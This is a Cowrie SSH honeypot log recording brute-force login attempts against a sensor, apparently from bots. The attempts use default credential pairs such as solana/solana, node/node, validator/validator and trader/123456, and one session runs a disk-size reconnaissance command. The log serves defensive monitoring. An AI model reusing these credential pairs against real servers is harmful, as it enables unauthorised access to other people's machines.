{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:48.757154Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:49.235097Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:49.237514Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:49.451499Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"46.7","message":"Connection lost after 46.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:19:49.456409Z","src_ip":"223.123.65.63","session":"0d5754826859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36128,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d16be2d5d32","protocol":"ssh","message":"New connection: 195.178.110.218:36128 (159.203.135.109:22) [session: 7d16be2d5d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:20:54.611400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:20:54.616194Z","src_ip":"195.178.110.218","session":"7d16be2d5d32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:20:54.696095Z","src_ip":"195.178.110.218","session":"7d16be2d5d32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:20:54.934782Z","src_ip":"195.178.110.218","session":"7d16be2d5d32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:20:56.016952Z","src_ip":"195.178.110.218","session":"7d16be2d5d32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54282,"dst_ip":"159.203.135.109","dst_port":22,"session":"45c066048859","protocol":"ssh","message":"New connection: 92.118.39.92:54282 (159.203.135.109:22) [session: 45c066048859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:36.970378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:36.974580Z","src_ip":"92.118.39.92","session":"45c066048859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:37.077354Z","src_ip":"92.118.39.92","session":"45c066048859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:37.420668Z","src_ip":"92.118.39.92","session":"45c066048859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:38.525720Z","src_ip":"92.118.39.92","session":"45c066048859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37220,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2095d59ceca","protocol":"ssh","message":"New connection: 2.57.122.208:37220 (159.203.135.109:22) [session: b2095d59ceca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:40.788538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:40.832368Z","src_ip":"2.57.122.208","session":"b2095d59ceca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:40.930968Z","src_ip":"2.57.122.208","session":"b2095d59ceca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:41.684950Z","src_ip":"2.57.122.208","session":"b2095d59ceca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:42.982355Z","src_ip":"2.57.122.208","session":"b2095d59ceca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44472,"dst_ip":"10.17.0.5","dst_port":22,"session":"073f1d9d9d49","protocol":"ssh","message":"New connection: 80.94.92.184:44472 (10.17.0.5:22) [session: 073f1d9d9d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:46.509590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:46.976760Z","src_ip":"80.94.92.184","session":"073f1d9d9d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:46.979782Z","src_ip":"80.94.92.184","session":"073f1d9d9d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv@123","message":"login attempt [solv/solv@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:48.146818Z","src_ip":"80.94.92.184","session":"073f1d9d9d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:21:49.795354Z","src_ip":"80.94.92.184","session":"073f1d9d9d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59788,"dst_ip":"159.203.135.109","dst_port":22,"session":"53ee9f332f1b","protocol":"ssh","message":"New connection: 195.178.110.218:59788 (159.203.135.109:22) [session: 53ee9f332f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:36.044010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:36.047917Z","src_ip":"195.178.110.218","session":"53ee9f332f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:36.122154Z","src_ip":"195.178.110.218","session":"53ee9f332f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:36.347671Z","src_ip":"195.178.110.218","session":"53ee9f332f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:37.424833Z","src_ip":"195.178.110.218","session":"53ee9f332f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":41492,"dst_ip":"159.203.135.109","dst_port":22,"session":"02720f578aa6","protocol":"ssh","message":"New connection: 92.118.39.92:41492 (159.203.135.109:22) [session: 02720f578aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:42.194429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:42.247142Z","src_ip":"92.118.39.92","session":"02720f578aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:42.337929Z","src_ip":"92.118.39.92","session":"02720f578aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:42.714770Z","src_ip":"92.118.39.92","session":"02720f578aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:43.876436Z","src_ip":"92.118.39.92","session":"02720f578aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58242,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bf1c39c7e2b","protocol":"ssh","message":"New connection: 2.57.122.208:58242 (159.203.135.109:22) [session: 2bf1c39c7e2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:57.492634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:57.586553Z","src_ip":"2.57.122.208","session":"2bf1c39c7e2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:57.691242Z","src_ip":"2.57.122.208","session":"2bf1c39c7e2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:58.444669Z","src_ip":"2.57.122.208","session":"2bf1c39c7e2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:23:59.608254Z","src_ip":"2.57.122.208","session":"2bf1c39c7e2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.128.221.98","src_port":60282,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0a2ee126874","protocol":"ssh","message":"New connection: 124.128.221.98:60282 (159.203.135.109:22) [session: a0a2ee126874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:24:18.368284Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:24:18.373091Z","src_ip":"124.128.221.98","session":"a0a2ee126874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47198,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a37afbe9e67","protocol":"ssh","message":"New connection: 80.94.92.184:47198 (10.17.0.5:22) [session: 1a37afbe9e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:03.196223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:25:03.269977Z","src_ip":"80.94.92.184","session":"1a37afbe9e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa